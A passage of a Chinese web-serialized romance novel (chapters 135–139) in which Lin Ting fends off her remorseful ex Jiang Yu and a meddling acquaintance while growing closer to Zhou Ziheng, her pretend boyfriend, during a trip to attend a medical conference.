他站在门口,目光定格在林听与周自衡的近距离之上。 说不出是什么感觉。 只觉得自己出现在这里是多余的。 明知道林听根本不愿意见到他,他还是神色镇定地走进了进去,并且还特意坐到了林听右侧的位置。 林听挺反感的。 她立即挽着周自衡的手,“阿衡,我们换个位置。” 周自衡也配合着她,故意揉了揉她的脑袋,“嗯,好!” 这声音温柔溺宠的不像话。 两人对视之间,已经起身换了个位置。 周自衡落座后,挡住了江遇的视线。 江遇也很识趣地抽开了眸光。 他眼里满满的挫败感。 这时,江书臣给江遇发了一条微信:让你别来,你偏要来,活该! 是! 他确实是活该。 如果六年前,他相信林听,查清真相,没有将林听送进监狱。 现在他和林听连二胎三胎都有了。 他们一家人早就美好幸福了。 是他自己扼杀了曾经一切的美好。 也扼杀了那个曾经对他无条件信任,满眼都只有他的林听。 如今想要多看林听一眼,却要越过周自衡,像个偷窥者一样,小心翼翼的。 就在江遇心酸心痛的时候,服务生上了一些菜。 江书臣又点了一些。 坐在对面的夏静姝,进包厢后,特意脱掉了江书臣的西装外套,露出她那条漂亮的裙子。 她搔首弄姿,时不时地摸一摸耳坠,又时不时拂一拂头发,盼着周自衡多看她一眼。 从始自终,周自衡的目光要么在林听身上,要么在林听想吃的日料刺身、寿司之上,根本没有多看夏静姝一眼。 对面的夏静姝,气得没心情吃饭了。 这一顿饭,看似是特地为林听准备的。 实则,夏静姝是想让周自衡看一看,她穿这条高定长裙,是有多光彩夺目。 结果,白穿这高定长裙了。 人家周自衡,根本没看她一眼。 这时,夏静姝难免嫉妒起林听来。 周自衡是看上林听哪一点? 看向林听时,夏静姝掩饰着心里的不爽,拿起手机,假装好心地给林听发了一条微信: 【小听,我知道,之前江遇让你受了很多委屈。 可是,他始终是你从小爱到大的人,又是柚子的父亲。 你就原谅他吧,毕竟他和林薇薇没有过实质的夫妻关系。 这一点,我可以作证。 林薇薇经常跟我哭诉,说是在那方面,江遇对她没有丝毫兴趣。 江遇是为了你,才一直守身如玉的。 小听你再给江遇一个机会吧。】 听到微信提示音。 林听低头看了看。 一看一个恶心。 之前夏静姝利用江嘉树,把她和柚子骗出去,她挺生气的。 她懒得回复夏静姝,直接把她拉黑。 上次是看在小嘉树的面子上,才加她好友。 没想到这个女人如此没分寸感,以后她再也不要把夏静姝加回来。 夏静姝又发了一句: 【小听,再说了,夫妻始终是原配好。你和江遇只差一张证了。你和周自衡在一起,他肯定会嫌弃你生过孩子的。】 结果,这条消息发出去,显示是感叹号。 她被林听拉黑了。 …… 晚餐结束。 几人准备回酒店。 期间,林听去上卫生间,周自衡等着。 而江遇,一直没有出包厢。 江书臣返回包厢时,果然见到江遇又出现了海鲜过敏反应。 他的脖颈,手臂,起了红疹子,看起来挺吓人的。 江书臣走过去,“要不要送你去医院?” 江遇挠了挠手臂,答非所问道,“不要告诉林听,我海鲜过敏的事情。” 林听喜欢吃日料,他陪她吃了十余年的日料,可是他从来没有告诉过林听,他海鲜过敏的事情。 他一辈子都不会告诉林听。 这会儿,他拿出海鲜过敏的药来,就着水按量服了两粒。 盖上药瓶盖子,他一声苦笑,“我本来以为,我可以陪她吃一辈子的海鲜的。但是她好像已经不需要我陪她了。” 第135章 撞进他怀里 江遇脖颈上的红疹子,越来越明显。 一点一点,红红的一大片。 稍微一挠,整片脖子都红肿了起来。 不知道的还以为,他是得了什么皮肤病。 只有江书臣知道,这个男人十余年来,为了哄林听开心,自己海鲜过敏却从来不说。 江书臣长长地叹了一口气,“阿遇,你这又是何苦。你说,你和小听原本是好好的一对,要不是因为你做的那些浑蛋事情,你们俩早生二胎三胎了……” 原本江书臣是支持林听选择周自衡的。 现在看到江遇这般可怜模样,又生出同情来。 他拍了拍江遇的肩,“阿遇,你想争取就争取吧,不过最终还要看小听自己做什么样的选择。” …… 餐厅一楼。 周自衡在卫生间转角处,等着去卫生间的林听。 落地窗前,映下他长身玉立,西装革履的身影。 身后,夏静姝注视着周自衡这挺拔伟岸的背影。 他宽阔的肩,结实的背,修长的腿,他整个人由内而外散发的浓浓的雄性力量,让身后的夏静姝蠢蠢欲动。 趁着丈夫江书臣留在包厢里,安慰江遇的功夫,夏静姝跟着林听周自衡下了楼。 终于等到了周自衡独处的时机。 她迈着优雅的步伐,心跳漏掉似的,走到周自衡的身旁。 与周自衡,肩并着肩。 落地窗外,是一片朦胧的夜色。 窗前,落下她与周自衡成双成对的身影。 夏静姝看着他与周自衡落在窗前的影子,十分满意。 原来,他和周自衡站在一起,也能显出她小鸟依人的模样来。 她迷恋地看着落地窗前,周自衡那高大伟岸的身影,好有男人味啊。 随即,露出端庄温柔的笑意,“周自衡,你在这里等林听?” 身侧突然站着一个异性,周自衡下意识地往左挪了一大步。 扑面而来的,属于夏静姝的香水气息,淡淡的,并不难闻。 可是,周自衡讨厌这种异性的香味。 挪开一大步后,他紧崩着额角,显然是不太待见夏静姝,“书臣还没下来?” 夏静姝掳了掳耳畔边的碎发,故意露出她整个白皙迷人的脸颊来。 圈中的姐妹们都说,她露出耳朵的样子,很有女人味。 还有她的那些炮友,最喜欢亲吻她的耳朵,说是她的耳朵性感迷人。 她也希望周自衡能够注意到她。 可是周自衡问完她这句话后,便低头去看手机,再没多看她一眼。 夏静姝偷偷暼了一眼。 他的手机页面是他与林听的对话框。 对话框里,他给林听的备注名是:周太太! 这个男人是铁了心要娶那个二手货,林听? 气死了! 夏静姝没想过要嫁给周自衡。 一来,她现在很享受江书臣对他的各种悉心体贴照顾。 凭良心讲,江书臣是一个很好的丈夫,体贴顾家,颜值又高,事业有成,家族背景显赫。 她不想和江书臣离婚。 她只是希望,能够同时享受江书臣对她对家庭照顾的同时,她又能够偷偷在外面多发展几段地下情,多寻找一些刺激。 夏静姝上一个约炮对象,是一个健身教练。 她看中了对方强劲的力量。 可是比起周自衡,差了十万八千里。 周自衡成了夏静姝发展地下情的下一个目标。 这会儿周自衡不多看她一眼,她并不放弃。 下一瞬,她往周自衡面前挪了挪,假装不小心崴了脚,顺势往周自衡怀里扑过去。 “嘶……” 本想来个娇滴滴的,撞进他怀里。 谁知下一秒,夏静姝连周自衡的衣服也未蹭到,周自衡已经干脆利落间退开半步。 这一退,让夏静姝差点没站稳,真摔在了地上。 嘶……这下是真疼! “嘶,好疼!” 她故意矫揉造作揉了揉膝盖。 心想着,周自衡出于熟人之间的照拂,总会扶她起来吧。 谁料,周自衡看着摔在地上的她,一声嗤之以鼻。 “站不稳就去买根拐杖,实在不行,轮椅也行。” 这种勾引人的把戏,周自衡一眼看穿。 但他看破不说破。 丢下这句话,他再没多看夏静姝一眼,迈着大步走到了卫生间门口。 正好这个时候,林听从里面走出来。 见到林听的那一刻,周自衡紧蹙的眉心这才有了一丝松快。 刚刚,空气是污浊的。 这会儿才觉得,呼吸起来,胸口舒畅。 他握紧林听的手,“我们回酒店。” “我刚洗了手,手还没干……”林听怪不适应的。 尤其是此刻,她稍微一挣扎,周自衡握得更紧。 每一根手指,强力又温柔地穿进她的指缝。 掌心相扣时,两人掌纹交叠。 林听的身体,顿时崩紧。 周自衡掌心里的厚茧,以及那些伤疤,又烙得林听有些心疼。 这个男人的身体上,有着太多伤。 那道他右手掌心里的疤痕,还是前些日子,苏秀珍一刀捅向她时,他替她挡刀子,用力握紧那把双刃刀口时留下来的。 林听忽然想起许多事情。 她病重时,是周自衡想办法帮她弄到了M901抗癌药。 也是他,替她挡了刀子。 六岁那年,九岁的周自衡被周家的人扔进了两米多深的泳池里。 他不会水。 她确实是抱着游泳圈,跳下去救过他。 脑海里隐隐约约记得,他们上岸后,周自衡确实说过,以后他会报答她的。 周自衡真的只是在报答她? 这会儿,林听被周自衡手牵着手往外走,完全没有注意到右侧方从电梯里走出来的江书臣和江遇二人。 因为,林听一边跟着周自衡离开,一边抬眸打量着周自衡的侧脸。 他们走出餐厅大堂,走到马路上。 昏黄的路灯投落下来。 周自衡的侧脸在光影下,凝成墨色剪影。 冷硬的弧度下,眉骨如刀削。 这么一个铁血刚毅的男人,偏生在她面前,眉眼里又映着细碎的温柔。 林听忽然有种错觉——他们俩好像真的在谈恋爱。 那只被周自衡扣在掌心里的手,忽然崩得更紧,开始有些局促不安。 路灯映着两人手牵着,肩并肩的身影。 过斑马线时,一辆电动车冲出来。 周自衡结实的长臂将林听往怀里一带。 那些危险与鸣笛声,完全隔壁在他坚韧有力的臂膀之外。 直到车子远去,林听才发现,自己在周自衡的怀里,撞了个满怀。 …… 餐厅大堂。 隔着一道玻璃门,隔着一条斑马线,江遇目视着林听撞进周自衡的怀里。 他紧紧握着拳头,满眼酸涩痛楚。 第136章 周自衡,疼! 江遇的拳头越握越紧。 拳背上,根根青筋直冒。 城市夜晚里所有的灯光璀璨,在此时全都退了色。 只剩下眼里的灰败不堪,和剩下斑马线上撞进周自衡怀里的林听。 他是那样嫉妒此时此刻的周自衡。 又是那样悔恨自己做林听的所作所为。 闹到今天这般结局,怪谁呢? 不全都怪他自己咎由自取,怪他蠢,怪他无情无义。 跟在身侧的江书臣,看到他这般痛苦的样子,不由拍了拍他的肩,沉沉地叹了一口气,“我去结账。” 结完账,江书臣这才发现,一瘸一拐朝他走来的夏静姝。 “静姝,你怎么了?” “不是说去卫生间吗,腿怎么了?” 见到自己的老婆一瘸一拐,江书臣心疼坏了。 他赶紧上前扶着她,“能走吗?” 夏静姝委屈哭了,“好疼啊,嘶……” 委屈的泪水落下来。 江书臣屈起拾指,轻轻抚过她的泪痕,“乖!别怕,老公看看。” 他轻而易举间,将夏静姝整个人横抱在怀里,走到餐厅大堂的沙发上坐下来。 又蹲在夏静姝的面前,脱掉她的高跟鞋,心疼地看了看,“有些肿了!” 这温柔的声音里,带着江书臣对夏静姝深深的宠爱与怜惜,还有自责。 都怪他不好,没有陪她一起去卫生间。 没有照顾好她。 江书臣握住夏静姝的手,“我先找块冰给你敷一敷。” 夏静姝十分享受,江书臣这样温柔体贴的照顾。 在他面前,越发委屈起来,“老公,好疼的。” “对不起,老公没照顾好你,等我一下。” 很快,江书臣找来了一块冰,用布包裹着,敷在夏静姝肿起的脚踝处。 夏静姝一边落泪,一边埋怨,“书臣,你那好哥们周自衡好高冷,我崴了脚,他明明看见了,都不扶我一下,整个人就是一个大冰块。也不知道小听是看上他哪一点。” 江书臣一边温柔细致地替妻子敷着冰,一边替好哥们解释,“你又不是不知道,阿衡那个人对所有人都冰冷麻木,尤其是对异性。要不然,这些年他身边早就有别的女人了。” 江书臣突然意识到一点。 他放缓手下的动作,恍然大悟,“静姝,你说,阿衡突然和小听在一起。是不是之前一直暗恋小听。” 难怪! 他从周六少那里拿来了药,却没有窃取M901的医药成分,而是立即给了林听。 听到周自衡一直暗恋林听,夏静姝心里十分不爽。 她不由黑着脸,嘀咕了一句,“怎么可能,林听跟过江遇,还生过孩子,周自衡怎么会暗恋她。我估计,他们只是一时新鲜。” 说着,夏静姝心怀不轨道,“书臣,你要不劝劝小听,她比较听你的话,让他别和周自衡在一起,还是江遇更适合他。周自衡那个人,真的很无情无义,不知道他是不是想利用小听。” 江书臣停下手上的动作,戳了戳夏静姝的脑袋,“你啊,脑子里想什么呢。小听有什么可值得阿衡利用的?” 夏静姝:“她是林家千金啊。医药研发机密泄露一案真相大白后,林叔和林振宇巴不得早点把小听接回去。” 江书臣:“你觉得,周自衡身边缺这样的豪门千金?” 夏静姝:“反正我不支持小听和周自衡在一起。” …… 餐厅一角。 江遇走到一面许愿墙前。 这家名为樱川亭的日料店,之所以生意爆火,其一是因为他们家的日料确实好吃。 其二便是因为这面许愿墙。 从开业至今,十余年,整面二十几米宽的许愿墙,按照时间顺序,写满了顾客许下的愿望。 有求早生贵子的,有求平安健康的,也有求姻缘美满的。 以前,江遇每次带林听去鹏城分店,都会写下与林听白首到老的愿望。 那个时候,他们结完账,他在旁边写,林听在旁边看。 林听满眼都是他。 往事仿佛就在昨天。 一转眼,早已物是人非。 今天,江遇同样向服务生要了许愿签。 他在许愿签上,写下他此刻最大的心愿:只愿与她早日破镜重圆。 然后,拜托服务生帮他挂上去。 身后,被江书臣搀扶着的夏静姝,看着江遇的背影,道: “书臣,江遇写下的愿望,肯定和林听有关。” “你把手机给我。” 夏静姝拿了江书臣的手机,拍下江遇站在许愿墙前的背影。 然后,又用江书臣的微信,把这张图片发给林听。 并配上文字: 【小听,你看,江遇还是那么爱你。】 【他在许愿墙上写下的每一个愿望,都跟你有关。】 林听此刻刚刚坐上回酒店的车上。 看到微信,她心里冷笑了一声,回复: 【夏静姝,你有完没完。如果你真觉得江遇那么好,干脆你和书臣哥离了婚,你跟他,行不行?】 这微信一看,就知道是夏静姝拿书臣哥的手机,发给她的。 因为林听知道,江书臣不可能劝她和江遇复合。 也不知道夏静姝是安的什么心。 没完没了的。 看到回复的夏静姝,朝江书臣抱怨道,“书臣,你说林听是怎么回事,我好心好意劝她,她却让我和你离了婚,去跟江遇。” 夏静姝转眼看了看江遇。 这个男人其实挺可怜的,虽然他差点和林薇薇结婚,但他心里一直爱着的人都是林听。 这五年来,林薇薇不知道同她抱怨了多少回,说是江遇从来都不碰她。 当时,她还为林薇薇支过一些招。 虽然都不管用。 说起来,江遇其实还是挺痴情一男的。 而且他长得风华绝代,不同于周自衡的铁血柔情,更显儒雅高贵。 要不是江遇一直为林听守身如玉,连林薇薇天天守在他身边,都没有把他啃下来,夏静姝说不定也会对江遇下手。 不过夏静姝有自知之明。 啃不动的,她便不啃。 …… 几人前前后后,回了酒店。 这是林听和周自衡来江市的第一个夜晚。 也是他们单独相处的,第一个夜晚。 洗过澡的林听,站在雾气缭绕的镜面,伸手擦了擦镜子。 这才能看清自己那张白皙精致的脸蛋。 不知是刚洗过澡的原因,还是什么,她整张脸蛋红扑扑的。 脑海里,自然闪过昨夜在鹏城,换衣服的时候,被周自衡意外撞见的面画。 呼吸突然变得有些不自然。 生怕再发生什么糗事。 她特意把睡衣扣子,扣得完完整整。 这才推开门,踩在深色的地毯上走出去。 门吱呀一声被打开时,周自衡自然而然地闻声望去。 两只白皙如玉的赤足,踩着深色的地毯,一步一个水印,小心翼翼地走出来。 周自衡问,“怎么没穿鞋?” “鞋子打湿了。”林听走到沙发前,拿出行李箱里带来的碘伏和棉签,然后重新穿了一双鞋。 昨晚她戴在耳朵上耳钉,勾破了周自衡送给她的旗袍。 也划伤了她的耳垂。 这会儿,林听坐在沙发上,想为受伤的那只耳垂擦一些碘伏。 嘶…… 比昨天还疼! 周自衡走过去看了看,“化脓了,我帮你。” 他拿起棉签,蘸上碘伏,“必须先把脓水挤出来,不然更疼。” “嘶……”林听蹙着眉头,“周自衡,你太用力了,好疼!” 吹弹可破的脸蛋上,有一抹委屈。 周自衡的声音,不由变得轻柔了许多,“我再轻一点!” 第137章 亲密接触 周自衡的声音磁性而厚重。 可是他故意放缓了语速,降低了音量,声音变得轻极。 听在林听的耳朵里,像是猫爪轻轻勾了下耳膜。 这些年,别说是耳朵化脓了,就连她癌症晚期,她最亲最爱的人都没有给过她丝毫的怜悯。 连一盒救命药,也不愿给她。 更别说对她嘘寒问暖,关心照顾。 这几些天来,看似是她求助于周自衡,让他帮忙。 实则上,周自衡对她关心照顾,比亲人还要上心。 她心里突然五味陈杂,酸的,苦的,涩的,甜的,交杂在一起。 小的时候,她一直以为。 哥哥和爸爸还有江遇,肯定会护她一辈子。 可是到头到,她在身边嘘寒问暖的人,竟然会是周自衡。 她心里复杂地想掉眼泪。 转过头去,偷偷抹掉。 回头时,拿掉周自衡手中的碘伏,“没事,就是一个小伤口,化脓而已,我没那么娇情,我自己来。” 她起了起,欲走向卫生间,对着镜子自己擦药。 手腕被周自衡拽住。 暖黄色的灯光下,周自衡眉骨微拧,“林听,在我面前,你不必把自己把自己装得这么坚强。” 林听不由嘀咕了一声,“我哪里伪装了,我在监狱生孩子的时候,可比现在疼多了。” 周自衡没有办法想象,她一个被林家捧在掌心里的千金大小姐,从小到大向来娇生惯养,是如何在监狱里度过那些艰难岁月的? 他看着她。 她的眉眼里浸着看似坚强的笑容。 可是她高挑纤细的小身板,却透着易碎的脆弱感。 当初他为周家人顶罪,先她半余月日进了监狱,根本没有办法护她周全。 江遇和林建国林振宇,他们是怎么忍心,把这样一个脆弱的她送进监狱里的? 又是怎么忍心,对她见死不救的? “过来。” 周自衡拽着她的手腕,往身边一带。 “以后,以后你都不会没有照顾了。” “你要是不适应,你就把我当和你从小一起长大的哥哥。” “就像以前林振宇照顾你一样。” 他这样与她沟通,能排除她心听戒备了吧。 他重新拿起碘伏,擦了擦她的耳垂。 感受到一片冰冰凉凉的林听,微微拧眉——原来周自衡果真是把她当成邻家小妹了。 她没有多想别的,她问周自衡,“真的化脓了?” “我先帮你把耳钉取下来。” 周自衡小心翼翼地取下林听的耳町。 其实,林听吃了许多苦,受了许多罪。 这些年她习惯了当一个坚强的母亲。 一个人带着柚子风雨飘摇,无依无靠。 在柚子面前,她总是坚韧得像是穿上了盔甲。 其实,她的心也很柔软的。 就像前些天周自衡说的一样,她就像是一只贝壳,外表看起来有多坚硬,内心就有多柔软。 忽然发现,竟然可以在周自衡的面前,放松下来。 “我会先帮你把脓水挤出来,放心,不会疼的。” 就在她十分信任周自衡的时候。 周自衡一个用力挤压。 嘶…… “周自衡,你骗人,你说了你会轻一点的。” “别动,还差一点。” “嘶,周自衡,你真下狠劲儿呀。” 林听用力拍了周自衡一下。 手臂抽回来时,不小心扫落桌角处开了盖的碘伏。 啪嗒! 满瓶子的碘伏溢出来。 溅起来的碘伏让林听往后一退。 失重的那一瞬间,她下意识地拉住了周自衡的睡袍一角。 “小心!” 男人长臂一伸,握住林听纤细瘦弱的腰身。 呼吸近在咫尺的那一瞬间,林听才发现,两人双双跌入柔软的沙发里。 她柔软的唇,碰触到周自衡充满雄性张力的脖颈一侧。 只要稍稍挪一挪位置,就能亲吻到他性感凸起的喉结。 时间仿佛被按了暂停键。 怀里的一片柔软,让周自衡骤然失了神。 他看着沙发上,惊如小鹿的女人。 她一动不敢动。 青丝长发如海藻般铺开,衬托着她那鹅蛋脸更加精致白皙。 周自衡呼吸的温度,明显升高。 直到感受到她的身子紧紧一崩,他才意识到,自己失了礼。 赶紧起身,“抱歉!你没事吧?” 林听也赶紧爬起来,埋着头,掳了掳耳畔边的碎发,“没事,我,我再去洗一洗。” 浴室里。 直到身上染上的碘伏彻底被冲洗干净,林听仍旧站在花洒前。 流水从她细腻的肌肤上,细细地流淌下去。 可她站在水流之下,一动不动,静静地发着呆。 …… 这一晚,睡在床上的林听和睡在沙发上的周自衡,双双失眠。 门外。 江遇倚靠在走廊的墙上。 夹在他手中的烟头,明明灭灭。 一只接着一只。 走廊垃圾桶上的烟灰盖,灭掉的烟蒂,也是一根接着一根。 弥漫的烟雾之下,笼罩着江遇阴沉沉的脸色。 痛苦从他眼底里钻出来。 连整个走廊的气压,也变得极低。 他守在林听和周自衡的房间门外,吸了一根又一根的烟。 直到垃圾桶顶上的烟灰盖,被装得满满的。 房间里,是他最心爱的女人,和他最好的哥们。 一个为他为过孩子。 一个为他挡过刀子。 他们在一起了。 最后一根烟蒂被扔进烟灰盖时,天色亮了。 这抹痛楚不堪的身影,不得不从林听的房门前离开。 清晨。 林听和周自衡走出房间。 房间门口的右侧,是一个精致的垃圾桶。 垃圾桶顶上的烟灰盖,是个可爱的卡通造型。 那里面装满了烟蒂。 烟蒂上标示的牌子,林听一眼便认出来了。 江遇只抽这个牌子的烟。 昨晚,在她房间门口,抽了一晚上烟的男人,是江遇。 可是林听再也不心疼了。 她只是感叹物是人非。 那些她曾经说过的,要和他一辈子相亲相爱的人,最终都被她剜心割肉般,从心里挖了出去。 以她对江遇的了解,他一定就在这附近。 她挽起了周自衡的手,冲着周自衡甜蜜温柔一笑,“阿衡,我们先去吃早餐吧,我肚子饿了。” 楼道里,一条门缝后面,江遇目睹着两人手挽着手离开,这才悄然走出来。 …… 自助餐餐厅。 林听给自己倒了一杯金桔柠檬。 手腕突然被人拽住,一路拽着她,走到无人的角落。 “江遇,你松开。” 直到四下无人,江遇仍旧没有松手。 他握住林听的双臂,满眼哀求,“听听,你回到我身边好不好。我不在乎你和周自衡有过实质的关系,只要你回来,我会像以前一样疼你宠你。我们一家三口在一起,好好过日子,好不好?” 如今风水轮流转。 当初那个苦苦哀求江遇的林听,根本不愿听江遇多说一个字。 她端着手里的水杯,用力挥开江遇。 杯里的水,泼了江遇一身…… 第138章 第一次亲吻他 湿嗒嗒的金桔柠檬水,一滴一滴,沿着江遇裁剪得体的西装外套滴落下来。 即使狼狈至此,江遇依然没有松开林听的手腕。 纤细白皙的手腕,被他的力道勒出一圈红印。 他有些心疼。 他从来不愿意这么强迫他最心爱的女人。 可是林听越是挣扎着想要从他的掌心里脱离,江遇越是心有不甘。 脑海里自动脑补着,昨夜林听一整晚和周自衡呆在同一间房间里,那些让人他抓狂,让他嫉妒,让他心如刀绞的画面。 “林听,你和周自衡发生的一切,我可以不在乎。” “只要你回到我的身边,我还是会和曾经一样宠你疼你。” “否则,我不知道我会做出什么事情来。” 这一次,江遇的口吻不再是苦苦哀求。 更像是威胁。 连他的瞳孔里,也翻涌着捕猎者的狠戾。 偏偏这样狠戾的双眼里,又带着他对她深深的依恋。 “林听,回到我身边。” “我一直为你守身如玉,从来没有碰过林薇薇,你还要我怎样?” 呵! 林听快要笑不活了。 她忘了手腕处被他紧紧桎梏着的疼痛。 她一声冷笑。 明明在笑,可是她的眼角却划落着清凉的泪水。 她没有办法忘记,在她走投无路的时候,她去哀求江遇收留柚子时,他有多嫌弃她们母子。 又有多不信任她。 更没有办法忘记,她临死之前,他去求着他要一盒抗癌药,他是怎样绝情绝义地摔碎了她一直小心翼翼珍藏着的,他们一起烧制的陶瓷娃娃。 她的心早就随着那两只一男一女的陶瓷娃娃,碎成了渣渣。 即使后来,他两次将陶瓷娃娃修复得完好如初,他们之间依然回不到过去。 他以为,他一直没碰过林薇薇,就是对她一往情深吗? “江遇,情侣之间最重要的是沟通、信任、性、经济基础。” “我们之间什么也不缺,最缺的就是信任。” “没有信任,再多的爱都是白搭。” “我现在若是心软带着柚子回到你的身边。” “下一次你不相信我,是不是又准备把我推入深渊?” 她痛苦地质问着他。 眼角划落的泪水,被江遇小心翼翼地擦掉。 “听听,对不起,我以后只信你。” “你说什么,我信什么。” 温热的拾指指腹,抚过她眼角的泪痕,又抚过她的脸颊。 林听一掌拍开,“江遇,话已至此,松手,别逼我扇你。” 江遇没有应声。 他掌心的力道加深。 他不松手,小心翼翼又紧紧地拽着她的手腕。 这就是他坚定又温柔的态度。 温柔中,带着他捕捉猎物般的威慑力,“林听,我说过,如果你不回到我的身边,我不知道我会做出什么事情来。” 啪! 林听反手,一个耳光打在江遇的脸上。 “江遇,我不是那个可以任你威胁的小姑娘了。” 这个男人多少有些偏执。 林听是知道的。 年少的时候,他们吵得最凶的那一次,他绝食了四天。 以此来威胁她。 现在,他已经威胁不到她了。 因为,她不会再心疼。 只是那些过往的甜蜜与痛楚交织着,让她心里的那个洞,还没有彻底治愈。 偌大的自助餐餐厅,响起这脆亮的巴掌声。 就近的用餐的客顾,寻声望来。 江遇的狼狈不堪,被众人打量着,议论着。 “这女的打得这么狠,该不是打的渣男吧?” “要是不渣,为什么挨打,肯定是渣男。” “可惜了,长得这么好看,却是个渣男。” 渣男两个字,让江遇紧紧握着拳头。 他不是渣男。 他从来没有背叛过林听。 只是太过蠢笨,没有一如既往地信任林听。 林听早已踩着高跟鞋走到餐厅中央。 她重新去拿了一杯金桔柠檬水。 又若无其事地,去拿了一盘煎好的培根,回到餐桌。 周自衡还在讲着电话,看她回来后,这才挂断,看向她。 她手里只有一杯金桔柠檬,和一盘煎好的培根。 他不由有些担心,“怎么去这么久,遇上他了?” “嗯。”林听收拾了糟糕的心情,对着周自衡扬唇一笑,“我给了他一巴掌,没事了。” 周自衡喝了一口牛奶,放下杯子,淡淡道,“如果你想让他彻底死心,我还有一个更好的办法。” 林听吃着培根的动作停下来。 长长的睫毛眨了眨,满眼求知欲地看着他。 “什么更好的办法?” 周自衡故意卖着关子,并没有立即回答。 他又喝了一大口牛奶。 牛奶入喉时,他挺拔的喉结在他流畅的颈部线条间滚动着。 安静的空气里,荡漾着这个男人举手投足间,浓浓的荷尔蒙气息。 连他滚动的喉结,都带着几分禁欲的性张力。 林听在视觉盛宴中,等着他的回答。 他倒是不疾不徐,又喝了一口牛奶,惹得林听得心尖像是被猫挠了一下似的,又痒又好奇。 她故作生气状,拍了他一下,“你倒是说呀,什么办法?” 周自衡放下牛奶杯,目光淡淡地扫了一眼,不远处一身湿嗒嗒的江遇。 随即,对着林听淡淡道,“你过来。” 林听附耳上前,听闻周自衡在她耳畔边淡淡道,“他正看着这边。” 江遇? 林听没有回头,她假装不知道江遇就在身后。 耳畔边,是周自衡温热的夹杂着雪松的气息,一阵一阵地扑过来。 林听的耳廓被这阵气息,熏得发烫。 这湿濡的气息均匀平缓,像是羽毛在耳畔边轻轻游走,勾得林听连后颈的汗毛都随着这阵气息而轻轻战栗。 别说江遇会误会。 连她自己也觉得此刻她与周自衡之间,暧昧而缠绵。 顺势间,她故意吻了吻周自衡的侧脸。 她压着心下乱微的心跳,壮着肚子,在周自衡的耳畔边,调皮一笑,“那就让他误会得更彻底!” 她保持着身子微微前倾,近在周自衡的面前,与他耳鬓厮磨的姿势,压低了声音,问,“现在你可以告诉我,有什么更好的办法,可以让后面那个人彻底死心了?” 周自衡的鼻尖贴过来,在她耳畔边答非所问,“林听,还没有哪个女人敢这么直接吻我。” 第139章 准备一步一步套牢她 他鼻间的温度,停留在她的脸颊边上。 那阵阵扑面的湿濡的气息,让林听心跳漏了半拍。 横在两人之间的气息,变得微妙起来。 林听大气也不敢喘一下,“……不是吧,周自衡,你还没接过吻?” 周自衡没有正面回答她的问题,“和我领证!” 这样一来,江遇就能彻底对她死心。 他要是再来纠缠,就是破坏别人婚姻的男小三。 当然,林听肯定不会给江遇这个机会。 林听也听明白了,这就是周自衡说的,让身后那个男人彻底死心的,更好的办法。 直接领证,未免太突然了一些。 她退回自己的座位,“这件事情还是晚上回房间再说吧。” 听闻她的声音里,夹杂着某种抵触之意,周自衡眉心微拧。 整个铁血刚硬的神色,笼罩在一片阴影之中。 这时,林听知道江遇一定还在身后目视着他们。 她特意夹了自己盘中的一片煎培根,喂到周自衡的嘴边。 “阿衡,来,尝尝。” 身后,几米开外的江遇,再一次紧紧地握起拳头。 肩膀忽然被人拍了一下,“江遇……你怎么一身是水?” 拍他的人,是江书臣。 见他西装西裤全被打湿了,江书臣不由皱眉,“十点钟就要正式进入会场了,你怎么把自己搞得如此狼狈?” 再顺着江遇那嫉妒发狂的目光望去…… 江书臣心中立马有了答案,“小听泼的?江遇,你又怎么惹小听不高兴了?” 旁边的夏静姝拍了江书臣一下,“你别总是帮着林听说话。虽然之前江遇错得很离谱,但是知错能改,善莫大焉。总得给他一个改正的机会吧。” …… 餐桌前,林听忽然接到一通视频电话。 那是远在鹏城的,宋律风打过来的电话。 今天柚子和落落的幼儿园,举行了一场秋季亲子运动会。 林听原本是打算留在鹏城,陪柚子参加运动会的。 之前她也答应了柚子。 可是这次医药研发学术大会,有她想见的大人物。 坐牢的那两年,她的学业被中断了,学籍也被开除。 现在重回学校,已经不可能了。 医学这条道路,她想坚定地走下去,所以她才跟着周自衡来了江市。 接到柚子的电话,她对柚子说了抱歉,“柚子,妈妈不能陪你参加运动会了,但是妈妈回去的时候,肯定会给你带礼物。” 柚子身边有落落姐姐,有律风爸爸,还有周外公,张外婆。 她一点也不孤单。 镜头前,柚子笑得可甜了,“妈妈,没关系的。我就是想看看你和爸爸。” 见到女儿,林听一扫之前的阴霾心情,笑得可温柔了,“想妈妈啦?” “嗯。”柚子点头,“也想爸爸啦!” 自从林听和周自衡成为假情侣起,柚子便以为他们两个肯定会结婚。 她早把周自衡当成是自己的继父。 说是继父,却又亲过亲生父亲。 小妮子是真的很想周自衡了。 她习惯了每天晚上,有周自衡给她讲睡前故事。 昨晚没有听到周自衡的睡前故事,好失落呢。 “我爸爸呢?” 林听把手机递给周自衡,“你女儿想你了。” 几米开外,夏静姝愤愤不平道,“这个林听真不知道怎么教育孩子的,教唆着柚子不认亲生父亲,倒有两个毫无干系的爹。” 江书臣:“你少说几句,你怕是忘了林听最难的时候,是谁陪她度过的。” 这边,江遇听闻柚子在电话里,和周自衡聊得热火朝天。 柚子一口一个爸爸。 一身湿嗒嗒的江遇,紧紧握着拳头。 他再也听不下去,转身离开餐厅。 夏静姝问,“江遇,你去哪里?” 江遇的声音透着痛苦和愤怒,“回去换衣服。” 不一会儿,夏静姝和江书臣拿了些自助早餐,坐到了周自衡和林听的对面。 刚一落座,夏静姝一边吃东西,一边对林听说: “小听,虽然你有权利选择你的新男朋友,但是江遇始终是柚子的亲生父亲。” “你也不能教唆着,不让柚子认江遇啊。” “继父再好,始终是继父,哪有亲生父亲对亲女儿好?” 原本林听和女儿通了视频,心情特别好。 被夏静姝这么一搅,顿时胸口发闷。 就算今天书臣哥在这里,她也不惯着夏静姝。 “江遇那么好,你怎么不让江嘉树叫他一声爸爸?” 说罢,她端起自己的早餐,起了身,“阿衡,有人没刷牙,这里臭哄哄的,我们坐别的地方去。” 看着二人端着食物离开,夏静姝委屈地望向江书臣,“书臣,你看看她说的什么话?我好心好意希望柚子和江遇父女俩相认,希望柚子能得到父爱,她却当驴肝肺一样。” 江书臣埋头吃着东西,“这次我帮理不帮亲。你确实不应该管那么宽。” 夏静姝:“江书臣!” 江书臣:“好啦,吃早餐,这是你最喜欢的苹果银耳羹,尝尝!” 夏静姝:“你刚刚都不帮我说两句。” 